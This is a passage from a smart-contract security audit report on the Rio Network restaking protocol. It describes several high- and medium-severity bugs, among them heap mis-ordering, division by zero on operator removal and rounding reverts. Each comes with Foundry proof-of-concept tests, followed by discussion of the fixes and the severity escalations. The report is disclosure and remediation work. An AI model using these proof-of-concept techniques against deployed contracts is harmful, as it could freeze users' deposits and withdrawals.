Let's say 1 EigenLayer-cbETH is now worth 1.1 cbETH.

Now, 100 cbETH sits idle in the deposit pool, and there are 5 EigenLayer-cbETH in the operators, which means there are a total of 90.9 + 5 = 95.9 EigenLayer-cbETH worth of cbETH in Rio. However, Bob's withdrawal request is for 100 EigenLayer-cbETH.

This would mean that Bob's withdrawal request will not be settled, and the entire withdrawal flow will be stuck because this epoch can't be settled.

Coded PoC:

```
// forge test --match-contract RioLRTDepositPoolTest --match-test
↪  test_InsufficientSharesInWithdrawal -vv
   function test_InsufficientSharesInWithdrawal() public {
       uint8 operatorId = addOperatorDelegator(reLST.operatorRegistry,
↪  address(reLST.rewardDistributor));
       address operatorDelegator =
↪  reLST.operatorRegistry.getOperatorDetails(operatorId).delegator;

       uint256 AMOUNT = 5e18;

       // Allocate to cbETH strategy.
       cbETH.approve(address(reLST.coordinator), type(uint256).max);
       reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);
       console.log("SHARES HELD",
↪  reLST.assetRegistry.getAssetSharesHeld(CBETH_ADDRESS));

       // Push funds into EigenLayer.
       vm.prank(EOA, EOA);
       reLST.coordinator.rebalance(CBETH_ADDRESS);

       assertEq(cbETH.balanceOf(address(reLST.depositPool)), 0);
       assertEq(reLST.assetRegistry.getAssetSharesHeld(CBETH_ADDRESS), AMOUNT);
       console.log("SHARES HELD",
↪  reLST.assetRegistry.getAssetSharesHeld(CBETH_ADDRESS));

       // @review before rebalance, deposit 100 * 1e18
       reLST.coordinator.deposit(CBETH_ADDRESS, 100e18);

       // @review request withdrawal
       reLST.coordinator.requestWithdrawal(CBETH_ADDRESS, 100e18);
       console.log("SHARES HELD",
↪  reLST.assetRegistry.getAssetSharesHeld(CBETH_ADDRESS));

       // @review donate, the idea is to make EigenLayer shares worth more
       uint256 donate = 10_000 * 1e18;
       address tapir = address(69);
       MockERC20(CBETH_ADDRESS).mint(tapir, donate);
       console.log("before rate",
↪  reLST.assetRegistry.convertFromSharesToAsset(address(cbETHStrategy), 1e18));

       // @review expecting the rate to be higher after donation
       vm.prank(tapir);
       MockERC20(CBETH_ADDRESS).transfer(address(cbETHStrategy), donate);
       console.log("after rate",
↪  reLST.assetRegistry.convertFromSharesToAsset(address(cbETHStrategy), 1e18));
```

```
        // @review rebalance, expect revert
        skip(reLST.coordinator.rebalanceDelay());
        vm.startPrank(EOA, EOA);
        vm.expectRevert(bytes4(keccak256("INCORRECT_NUMBER_OF_SHARES_QUEUED()")));
        reLST.coordinator.rebalance(CBETH_ADDRESS);
        vm.stopPrank();
    }
```

Impact

High since the further and current withdrawals are not possible.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99-L151

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorOperations.sol#L113-L134

Tool used

Manual Review

Recommendation

Discussion

solimander

Seems unlikely to have a meaningful effect while rebasing tokens are not supported.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/13

Czar102

For a more severe impact, see #112.

10xhash

Fixed The share value is now computed only at the time of rebalance hence deposit pool funds are not queued with an earlier cached rate. Risk associated with rio lrt appreciation due to increase in other assets is considered acceptable for now.

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-7: `reportOutOfOrderValidatorExits` does not updates the heap order

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/131

Found by

ComposableSecurity, g, mstpr-brainbot

Summary

When an operator's validator exits without a withdrawal request, the owner can invoke the `reportOutOfOrderValidatorExits` function to increase the `exited` portion of the operator validators. However, this action does not update the heap. Consequently, during subsequent allocation or deallocation processes, the heap may incorrectly mark validators as exited.

Vulnerability Detail

First, let's see how the utilization is determined for native ETH deposits for operators which is calculated as:
`operatorShares.allocation.divWad(operatorShares.cap)` where as the allocation is the total `deposited` validators and the `cap` is predetermined value by the owner of the registry.

When the heap is retrieved from the storage, here how it is fetched:

```
function
↪  getOperatorUtilizationHeapForETH(RioLRTOperatorRegistryStorageV1.StorageV1
↪  storage s)
        internal
        view
        returns (OperatorUtilizationHeap.Data memory heap)
    {
        uint8 numActiveOperators = s.activeOperatorCount;
        if (numActiveOperators == 0) return OperatorUtilizationHeap.Data(new
↪  OperatorUtilizationHeap.Operator[](0), 0);

        heap = OperatorUtilizationHeap.initialize(MAX_ACTIVE_OPERATOR_COUNT);

        uint256 activeDeposits;
        IRioLRTOperatorRegistry.OperatorValidatorDetails memory validators;
        unchecked {
            uint8 i;
```


SHERLOCK

```
            for (i = 0; i < numActiveOperators; ++i) {
                uint8 operatorId =
↪   s.activeOperatorsByETHDepositUtilization.get(i);

                // Non-existent operator ID. We've reached the end of the heap.
                if (operatorId == 0) break;

                validators = s.operatorDetails[operatorId].validatorDetails;
                activeDeposits = validators.deposited - validators.exited;
                heap.operators[i + 1] = OperatorUtilizationHeap.Operator({
                    id: operatorId,
                    utilization: activeDeposits.divWad(validators.cap)
                });
            }
            heap.count = i;
        }
    }
```

as we can see, the heap is always assumed to be order in the storage when the registry fetches it initially. There are no ordering of the heap when requesting the heap initially.

When, say the deallocation happens via an user withdrawal request, the queue can exit early if the operator in the heap has "0" room:

```
function deallocateETHDeposits(uint256 depositsToDeallocate) external
↪   onlyCoordinator returns (uint256 depositsDeallocated,
↪   OperatorETHDeallocation[] memory deallocations) {
       deallocations = new OperatorETHDeallocation[](s.activeOperatorCount);


       OperatorUtilizationHeap.Data memory heap =
↪   s.getOperatorUtilizationHeapForETH();
       if (heap.isEmpty()) revert NO_AVAILABLE_OPERATORS_FOR_DEALLOCATION();


       uint256 deallocationIndex;
       uint256 remainingDeposits = depositsToDeallocate;


       bytes memory pubKeyBatch;
       while (remainingDeposits > 0) {
           uint8 operatorId = heap.getMax().id;


           OperatorDetails storage operator = s.operatorDetails[operatorId];
```

```
            OperatorValidatorDetails memory validators =
↪   operator.validatorDetails;
            -> uint256 activeDeposits = validators.deposited - validators.exited;


            // Exit early if the operator with the highest utilization rate has
↪   no active deposits,
            // as no further deallocations can be made.
            -> if (activeDeposits == 0) break;
             .
        }
        .
    }
```

`reportOutOfOrderValidatorExits` increases the "exited" part of the operators validator:

```
function reportOutOfOrderValidatorExits(uint8 operatorId, uint256 fromIndex,
↪   uint256 validatorCount) external {
        .
        .
        // Swap the position of the validators starting from the `fromIndex`
↪   with the validators that were next in line to be exited.
        VALIDATOR_DETAILS_POSITION.swapValidatorDetails(operatorId, fromIndex,
↪   validators.exited, validatorCount);
        -> operator.validatorDetails.exited += uint40(validatorCount);

        emit OperatorOutOfOrderValidatorExitsReported(operatorId,
↪   validatorCount);
    }
```

Now, knowing all these above, let's do an example where calling `reportOutOfOrderValidatorExits` can make the heap work wrongly and exit prematurely.

Assume there are 3 operators which has native ETH deposits. operatorId 1 -> utilization 5% operatorId 2 -> utilization 10% operatorId 3 -> utilization 15%

such operators would be ordered in the heap as: heap.operators[1] -> operatorId: 1, utilization: 5 heap.operators[2] -> operatorId: 2, utilization: 10 heap.operators[3] -> operatorId: 3, utilization: 15 heap.getMin() -> operatorId: 1, utilization: 5 heap.getMax() -> operatorId:3, utilization 15

now, let's say the "cap" is 100 for all of the operators which means that: operatorId 1 -> validator.deposits = 5, validator.exit = 0 operatorId 2 -> validator.deposits = 10, validator.exit = 0 operatorId 3 -> validator.deposits = 15, validator.exit = 0

Let's assume that the operator 3 exits 15 validator from beacon chain without prior to a user request, which is a reason for owner to call `reportOutOfOrderValidatorExits` to increase the exited validators.

When the owner calls `reportOutOfOrderValidatorExits` for the operatorId 3, the exited will be 15 for the operatorId 3. After the call the operators validator balances will be: operatorId 1 -> validator.deposits = 5, validator.exit = 0 operatorId 2 -> validator.deposits = 10, validator.exit = 8 operatorId 3 -> validator.deposits = 15, validator.exit = 15

hence, the utilizations will be: operatorId 1 -> utilization 5% operatorId 2 -> utilization 10% operatorId 3 -> utilization 0%

which means now the operatorId 3 has the lowest utilization and should be the first to get deposits and last to unwind deposits from. However, the heap is not re-ordered meaning that the minimum in the heap is still opeartorId 1 and the maximum is still operatorId 3!

Now, when a user tries to withdraw, the first deallocation target will be the operatorId 3 because the heap thinks that it is the most utilized still.

However, since the active utilization for operatorId 3 is "0" the loop will exit early hence, the withdrawals will not go through https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L556-L560

Hence, the user will not be able to request the withdrawal!

Coded PoC:

```
// forge test --match-contract OperatorUtilizationHeapTest --match-test
↪  test_RemovingValidatorMessesTheHeap -vv
    function test_RemovingValidatorMessesTheHeap() public {
        OperatorUtilizationHeap.Data memory heap =
↪  OperatorUtilizationHeap.initialize(5);

        // @review initialize and order 3 operators
        heap.insert(OperatorUtilizationHeap.Operator({id: 1, utilization: 5}));
        heap.store(heapStore);

        heap.insert(OperatorUtilizationHeap.Operator({id: 2, utilization: 10}));
        heap.store(heapStore);

        heap.insert(OperatorUtilizationHeap.Operator({id: 3, utilization: 15}));
        heap.store(heapStore);

        // @review mimick how the heap can be fetched from the storage initially
        uint8 numActiveOperators = 3;
```

```
        OperatorUtilizationHeap.Data memory newHeap =
↪   OperatorUtilizationHeap.initialize(64);
        uint8 i;
        for (i = 0; i < numActiveOperators; ++i) {
            uint8 operatorId = heapStore.get(i);
            if (operatorId == 0) break;

            newHeap.operators[i+1] = OperatorUtilizationHeap.Operator({
                   id: operatorId,
                   utilization: heap.operators[operatorId].utilization
            });
        }
        newHeap.count = i;

        // @review assume the reportValidatorAndExits called, and now the
↪   utilization is "0"
        heap.updateUtilizationByID(3, 0);
        // @review this should be done, but the heap is not stored!
        // heap.store(heapStore);

        console.log("1st", heap.operators[1].id);
        console.log("2nd", heap.operators[2].id);
        console.log("3rd", heap.operators[3].id);
        console.log("origin heaps min", heap.getMin().id);
        console.log("origin heaps max", heap.getMax().id);

        console.log("1st", newHeap.operators[1].id);
        console.log("2nd", newHeap.operators[2].id);
        console.log("3rd", newHeap.operators[3].id);
        console.log("new heaps min", newHeap.getMin().id);
        console.log("new heaps max", newHeap.getMax().id);

        // @review mins and maxs are mixed
        assertEq(newHeap.getMin().id, 1);
        assertEq(heap.getMin().id, 3);
        assertEq(heap.getMax().id, 2);
        assertEq(newHeap.getMax().id, 3);
    }
```

Impact

Heap can be mixed, withdrawals and deposits can fail, hence I will label this as high.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L357C5-L386C6

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L541-L594

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L310-L336

Tool used

Manual Review

Recommendation

update the utilization in the reportOutOfOrderValidatorExits function

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/10

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#10.

Fixed Heap is updated inside the reportOutOfOrderValidatorExits function

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue H-8: Heap is incorrectly stores the removed operator ID which can lead to division by zero in deposit/withdrawal flow

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/193

Found by

almurhasan, itsabinashb, lemonmon, mstpr-brainbot, shaka, thec00n

Summary

An operator's strategy can be reset by the owner calling `setOperatorStrategyCaps` to "0". This action sets the utilization to "0" and removes the operator from the heap. Consequently, this means that the operator has unwound all its strategy shares and can no longer receive any more deposits. However, due to how the heap is organized, if an operator who had funds before is reset to "0", the heap will not successfully remove the operator. As a result, when ordering the heap, a division by "0" will occur, causing the transaction to revert on deposits and withdrawals indefinitely.

Vulnerability Detail

In order to break down the issue, let's divide the issue to 2 parts which their combination is the issue itself

1- Heap is not removing the removed ID from the heaps storage when the operator is removed

When the operator is removed, the operator will be removed from the heap as follows:

```
function setOperatorStrategyCap(
        RioLRTOperatorRegistryStorageV1.StorageV1 storage s,
        uint8 operatorId,
        IRioLRTOperatorRegistry.StrategyShareCap memory newShareCap
    ) internal {
        .
        OperatorUtilizationHeap.Data memory utilizationHeap =
↪   s.getOperatorUtilizationHeapForStrategy(newShareCap.strategy);
        // If the current cap is greater than 0 and the new cap is 0, remove the
↪   operator from the strategy.
        if (currentShareDetails.cap > 0 && newShareCap.cap == 0) {
            // If the operator has allocations, queue them for exit.
```


SHERLOCK

```
            if (currentShareDetails.allocation > 0) {
                operatorDetails.queueOperatorStrategyExit(operatorId,
↪   newShareCap.strategy);
            }
            // Remove the operator from the utilization heap.
            -> utilizationHeap.removeByID(operatorId);
        }
        .

        // Persist the updated heap to the active operators tracking.
        -> utilizationHeap.store(s.activeOperatorsByStrategyShareUtilization[new
↪   ShareCap.strategy]);
         .
    }
```

`removeByID` calls the internal `_remove` function which is **NOT** removes the last element! `self.count` is decreased however, the index is still the previous value of the `self.count`

```
function _remove(Data memory self, uint8 i) internal pure {
        self.operators[i] = self.operators[self.count--];
    }
```

For example, if there are 3 operators as follows: operatorId: 1, utilization: 50% operatorId: 2, utilization: 60% operatorId: 3, utilization: 70% then, the `heap.count` would be 3 and the order would be: 1, 2, 3 in the heap heap.operators[1] = operatorId 1 heap.operators[2] = operatorId 2 heap.operators[3] = operatorId 3

if we remove the operator Id 2: `heap.count` = 2 order: 1,3 heap.operators[1] = operatorId 1 heap.operators[2] = operatorId 2 **heap.operators[3] = operatorId 0** THIS SHOULD BE "0" since its removed but it is "3" in the current implementation!

As shown here, the operators[3] should be "0" since there isn't any operator3 in the heap anymore but the heap keeps the value and not resets it.

Here a test shows the above issue:

```
// forge test --match-contract OperatorUtilizationHeapTest --match-test
↪   test_removingDoesNotUpdatesStoredHeap -vv
    function test_removingDoesNotUpdatesStoredHeap() public {
        OperatorUtilizationHeap.Data memory heap =
↪   OperatorUtilizationHeap.initialize(5);

        heap.insert(OperatorUtilizationHeap.Operator({id: 1, utilization: 50}));
        heap.store(heapStore);

        heap.insert(OperatorUtilizationHeap.Operator({id: 2, utilization: 60}));
```

```
        heap.store(heapStore);

        heap.insert(OperatorUtilizationHeap.Operator({id: 3, utilization: 70}));
        heap.store(heapStore);

        console.log("Heaps count", heap.count);
        console.log("1st", heap.operators[1].id);
        console.log("2nd", heap.operators[2].id);
        console.log("3rd", heap.operators[3].id);

        // remove 2
        heap.removeByID(3);
        heap.store(heapStore);

        console.log("Heaps count", heap.count);
        console.log("1st", heap.operators[1].id);
        console.log("2nd", heap.operators[2].id);
        console.log("3rd", heap.operators[3].id);
    }
```

Logs:

2- When the operator cap is reseted the allocations/deallocations will not work due to above heap issue because of division by zero

Now, take the above example, we removed the operatorId 3 from the heap by setting its cap to "0". Now, there are only operators 1 and 2 active for that specific strategy. When there are idle funds in the deposit pool before the rebalance call, the excess funds that are not requested as withdrawals will be pushed to EigenLayer as follows:

```
function rebalance(address asset) external checkRebalanceDelayMet(asset) {
        .
        .
         -> (uint256 sharesReceived, bool isDepositCapped) =
↪   depositPool().depositBalanceIntoEigenLayer(asset);
        .
    }
```

```
function depositBalanceIntoEigenLayer(address asset) external onlyCoordinator
↪   returns (uint256, bool) {
       uint256 amountToDeposit = asset.getSelfBalance();
       if (amountToDeposit == 0) return (0, false);
       .
       .
       -> return (OperatorOperations.depositTokenToOperators(operatorRegistry(),
↪   asset, strategy, sharesToAllocate), isDepositCapped);
```

```
    }
```

```
function depositTokenToOperators(
        IRioLRTOperatorRegistry operatorRegistry,
        address token,
        address strategy,
        uint256 sharesToAllocate
    ) internal returns (uint256 sharesReceived) {
       -> (uint256 sharesAllocated,
↪   IRioLRTOperatorRegistry.OperatorStrategyAllocation[] memory  allocations) =
↪   operatorRegistry.allocateStrategyShares(
            strategy, sharesToAllocate
        );
        .
        .
    }
```

```
function allocateStrategyShares(address strategy, uint256 sharesToAllocate)
↪   external onlyDepositPool returns (uint256 sharesAllocated,
↪   OperatorStrategyAllocation[] memory allocations) {
        -> OperatorUtilizationHeap.Data memory heap =
↪   s.getOperatorUtilizationHeapForStrategy(strategy);
       .
       .
       .
       .
    }
```

```
function getOperatorUtilizationHeapForStrategy(RioLRTOperatorRegistryStorageV1.S
↪   torageV1 storage s, address strategy) internal view returns
↪   (OperatorUtilizationHeap.Data memory heap) {
        uint8 numActiveOperators = s.activeOperatorCount;
        if (numActiveOperators == 0) return OperatorUtilizationHeap.Data(new
↪   OperatorUtilizationHeap.Operator[](0), 0);

        heap = OperatorUtilizationHeap.initialize(MAX_ACTIVE_OPERATOR_COUNT);
        LibMap.Uint8Map storage operators =
↪   s.activeOperatorsByStrategyShareUtilization[strategy];

        IRioLRTOperatorRegistry.OperatorShareDetails memory operatorShares;
        unchecked {
            uint8 i;
            for (i = 0; i < numActiveOperators; ++i) {
                uint8 operatorId = operators.get(i);
```


SHERLOCK

```
                // Non-existent operator ID. We've reached the end of the heap.
                if (operatorId == 0) break;

                operatorShares =
↪   s.operatorDetails[operatorId].shareDetails[strategy];
                heap.operators[i + 1] = OperatorUtilizationHeap.Operator({
                    id: operatorId,
                    -> utilization:
↪   operatorShares.allocation.divWad(operatorShares.cap)
                });
            }
            heap.count = i;
        }
    }
```

As we can see in one above code snippet, the `numActiveOperators` is 3. Since the stored heaps last element is not set to "0" it will point to operatorId 3 which has a cap of "0" after the removal. This will make the

```
utilization: operatorShares.allocation.divWad(operatorShares.cap)
```

part of the code to perform a division by zero and the function will revert.

Coded PoC:

```
// forge test --match-contract RioLRTOperatorRegistryTest --match-test
↪   test_Capped0ValidatorBricksFlow -vv
    function test_Capped0ValidatorBricksFlow() public {
        // Add 3 operators
        addOperatorDelegators(reLST.operatorRegistry,
↪   address(reLST.rewardDistributor), 3);

        // The caps for each operator is 1000e18, we will delete the id 2 so we
↪   need funds there
        // any number that is more than 1000 should be ok for that experiement
        uint256 AMOUNT = 1002e18;

        // Allocate to cbETH strategy.
        cbETH.approve(address(reLST.coordinator), type(uint256).max);
        uint256 lrtAmount = reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);

        // Push funds into EigenLayer.
        vm.prank(EOA, EOA);
        reLST.coordinator.rebalance(CBETH_ADDRESS);

        // Build the empty caps
        IRioLRTOperatorRegistry.StrategyShareCap[] memory zeroStrategyShareCaps =
```


```
            new IRioLRTOperatorRegistry.StrategyShareCap[](1);
        zeroStrategyShareCaps[0] =
↪   IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 0});

        // Set the caps of CBETH_STRATEGY for operator 2 as "0"
        reLST.operatorRegistry.setOperatorStrategyShareCaps(2,
↪   zeroStrategyShareCaps);

        // Try an another deposit, we expect revert when we do the rebalance
        reLST.coordinator.deposit(CBETH_ADDRESS, 10e18);

        // Push funds into EigenLayer. Expect revert, due to division by "0"
        skip(reETH.coordinator.rebalanceDelay());
        vm.startPrank(EOA, EOA);
        vm.expectRevert(bytes4(keccak256("DivWadFailed()")));
        reLST.coordinator.rebalance(CBETH_ADDRESS);
        vm.stopPrank();
    }
```

Impact

Core logic broken, withdrawal/deposits can not be performed.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L231C5-L270C6

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorUtilizationHeap.sol#L94-L110

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L121-L151

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTDepositPool.sol#L47-L67

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorOperations.sol#L51-L68

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restakin

g/RioLRTOperatorRegistry.sol#L342-L392

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L327-L351

Tool used

Manual Review

Recommendation

When removing from the heap also remove the last element from the heap.

I am not sure of this, but this might work

```
function _remove(Data memory self, uint8 i) internal pure {
        self.operators[i] = self.operators[--self.count];
    }
```

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/3

nevillehuang

Severity could be higher, given a use of the function correctly results in blocking of withdrawals. Leaving medium for now on grounds of admin error

shaka0x

Escalate

> Leaving medium for now on grounds of admin error.

I respectfully disagree with this reasoning. I think the severity of the issue and its duplicate should be high, as there is no admin error involved. There is an error in the implementation that is produced after an admin action. Otherwise, all issues at deployment or in protected functions can technically be considered as admin errors.

sherlock-admin2

> Escalate
>
> > Leaving medium for now on grounds of admin error.

> I respectfully disagree with this reasoning. I think the severity of the issue and its duplicate should be high, as there is no admin error involved. There is an error in the implementation that is produced after an admin action. Otherwise, all issues at deployment or in protected functions can technically be considered as admin errors.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

Agree that this issue should be high severity since withdrawals can be blocked permanently

Czar102

@nevillehuang @mstpr can't the admin remediate the situation?

nevillehuang

@solimander Could you confirm if admin remediation is possible by resetting validator cap of removed operator? Given the intended admin workflow results in blocking of funds I think the impact is severe

solimander

@nevillehuang Remediation is possible by deactivating the operator:

```
// forge test --mt test_capped0ValidatorBricksFlowRecovery
function test_capped0ValidatorBricksFlowRecovery() public {
    // Add 3 operators
    addOperatorDelegators(reLST.operatorRegistry,
↪   address(reLST.rewardDistributor), 3);

    // The caps for each operator is 1000e18, we will delete the id 2 so we need
↪   funds there
    // any number that is more than 1000 should be ok for that experiement
    uint256 AMOUNT = 1002e18;

    // Allocate to cbETH strategy.
    cbETH.approve(address(reLST.coordinator), type(uint256).max);
    uint256 lrtAmount = reLST.coordinator.deposit(CBETH_ADDRESS, AMOUNT);

    // Push funds into EigenLayer.
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(CBETH_ADDRESS);
```


SHERLOCK

```
    // Build the empty caps
    IRioLRTOperatorRegistry.StrategyShareCap[] memory zeroStrategyShareCaps =
        new IRioLRTOperatorRegistry.StrategyShareCap[](1);
    zeroStrategyShareCaps[0] =
↪   IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 0});

    // Set the caps of CBETH_STRATEGY for operator 2 as "0"
    reLST.operatorRegistry.setOperatorStrategyShareCaps(2,
↪   zeroStrategyShareCaps);

    // Try an another deposit, we expect revert when we do the rebalance
    reLST.coordinator.deposit(CBETH_ADDRESS, 10e18);

    // Push funds into EigenLayer. Expect revert, due to division by "0"
    skip(reETH.coordinator.rebalanceDelay());
    vm.startPrank(EOA, EOA);
    vm.expectRevert(bytes4(keccak256('DivWadFailed()')));
    reLST.coordinator.rebalance(CBETH_ADDRESS);
    vm.stopPrank();

    // Deactivate the operator to recover the system
    reLST.operatorRegistry.deactivateOperator(2);

    // Rebalance succeeds
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(CBETH_ADDRESS);
}
```

This acts as a temporary fix, which would unblock rebalances while the issue is patched.

mstpr

> @nevillehuang @mstpr can't the admin remediate the situation?

not really.

The admin needs to reset the cap for the operator. However, when this happens, the operator's cap is reset to "0," allowing deposits to be made again. If the admin sets an operator's cap to "0," it's likely that the operator will not be used. To address the above issue, the admin must reset it to a value. However, this means that new deposits can be made to the operator. Although the admin can set the cap back to a value, all users must withdraw their funds before new deposits are made. Since the admin does not control all users, this is not feasible and cannot be fixed in my opinion.

If the operator is deactivated instead of its cap resetted to "0" then it is even worse. Then, the admin has to readd the operator back to system and needs to push funds

to that operator such that the heap reorders correctly. Though, to do that admin needs significant amount of funds to push to system to increase the utilization.

Overall it might be possible but it is extremely hard and requires capital. What do you think @shaka0x @itsabinashb ?

shaka0x

> > @nevillehuang @mstpr can't the admin remediate the situation?
>
> not really.
>
> The admin needs to reset the cap for the operator. However, when this happens, the operator's cap is reset to "0," allowing deposits to be made again. If the admin sets an operator's cap to "0," it's likely that the operator will not be used. To address the above issue, the admin must reset it to a value. However, this means that new deposits can be made to the operator. Although the admin can set the cap back to a value, all users must withdraw their funds before new deposits are made. Since the admin does not control all users, this is not feasible and cannot be fixed in my opinion.
>
> If the operator is deactivated instead of its cap resetted to "0" then it is even worse. Then, the admin has to readd the operator back to system and needs to push funds to that operator such that the heap reorders correctly. Though, to do that admin needs significant amount of funds to push to system to increase the utilization.
>
> Overall it might be possible but it is extremely hard and requires capital. What do you think @shaka0x @itsabinashb ?

I do agree with the above comments and would like to add that the proposed solution will not work for the cases described in my PoCs (https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/316), where the bug appears after deactivating an operator.

Czar102

@solimander do you agree with the above comments?

@itsabinashb please do not post unnecessarily long code/result snippets directly in a comment, it's better to put them in a gist.

If @solimander agrees, I'm planning to accept the escalation and consider this issue a valid High severity one.

solimander

@Czar102 After reviewing @shaka0x's POCs, I do agree with the above comments.

Czar102

Result: High Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- shaka0x: accepted

zrax-x

@nevillehuang Is issue#16 a duplicate? I can't seem to understand what the problem described in issue#16 is. I believe that it misses the point and has no negative impact. And issue#155, issue#127.

itsabinashb

> Is issue#16 a duplicate? I can't seem to understand what the problem described in issue#16 is. I believe that it misses the point and has no negative impact. And issue#155.

Issue number 16 shows exact root cause which is same as this submission.

zrax-x

> > Is issue#16 a duplicate? I can't seem to understand what the problem described in issue#16 is. I believe that it misses the point and has no negative impact. And issue#155.
>
> Issue number 16 shows exact root cause which is same as this submission.

However, you did not accurately describe the harm caused, which is "division by zero".

solimander

I do agree that #16 does sort of miss the point as the core issue is not mentioned. The issue is not that the removed operator ID still exists in memory, but that it's not correctly removed from storage.

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#3.

Fixed Now all operator slots greater than the last operator is set to 0

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-1: Depositing to EigenLayer can revert due to round downs in converting shares<->assets

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/9

Found by

0xkaden, Bauer, Drynooo, KupiaSec, Tricko, hash, kennedy1030, klaus, lemonmon, mstpr-brainbot, shaka

Summary

When the underlying tokens deposited from depositPool to EigenLayer strategy, there are bunch of converting operations done which rounds down the solution at some point and the require check reverts hence, the depositing might not be possible due to this small round down issue.

Vulnerability Detail

Best to go for this is an example, so let's do it.

Assume the deposit pool has 111 * 1e18 stETH waiting for rebalance to be deposited to EigenLayer and there is only 1 operator with 1 strategy allowed which is the EigenLayers stETH strategy. Also, assume the EigenLayer has 3333 * 1e18 stETH in total and 3232 * 1e18 shares in supply. Also, note that the EigenLayer uses virtual shares offset which is 1e3.

Now, let's say there is no withdrawal queue to ease the complexity of the issue and rebalance is called and the balance in the deposit pool will be forwarded to EigenLayer strategy as follows:

```
function rebalance(address asset) external checkRebalanceDelayMet(asset) {
        .
        .
        // Deposit remaining assets into EigenLayer.
        (uint256 sharesReceived, bool isDepositCapped) =
↪   depositPool().depositBalanceIntoEigenLayer(asset);
        .
    }
```

Then, the `depositBalanceIntoEigenLayer` will trigger the `OperatorOperations.depositTokenToOperators` function as follows:

SHERLOCK

```
function depositBalanceIntoEigenLayer(address asset) external onlyCoordinator
↪  returns (uint256, bool) {
        uint256 amountToDeposit = asset.getSelfBalance();
        if (amountToDeposit == 0) return (0, false);
        .
        .
        address strategy = assetRegistry().getAssetStrategy(asset);
        uint256 sharesToAllocate =
↪  assetRegistry().convertToSharesFromAsset(asset, amountToDeposit);
        // @review library called
        -> return
↪  (OperatorOperations.depositTokenToOperators(operatorRegistry(), asset,
↪  strategy, sharesToAllocate), isDepositCapped);
    }
```

As we can see in the above snippet, the underlying tokens to be deposited which is 111 * 1e18 stETH in our example will be converted to EigenLayer strategy shares via `assetRegistry().convertToSharesFromAsset`

Now, how does EigenLayer calculates how much shares to be minted given an underlying token deposit is as follows:

```
function underlyingToSharesView(uint256 amountUnderlying) public view virtual
↪  returns (uint256) {
        // account for virtual shares and balance
        uint256 virtualTotalShares = totalShares + SHARES_OFFSET;
        uint256 virtualTokenBalance = _tokenBalance() + BALANCE_OFFSET;
        // calculate ratio based on virtual shares and balance, being careful to
↪  multiply before dividing
        return (amountUnderlying * virtualTotalShares) / virtualTokenBalance;
    }
```

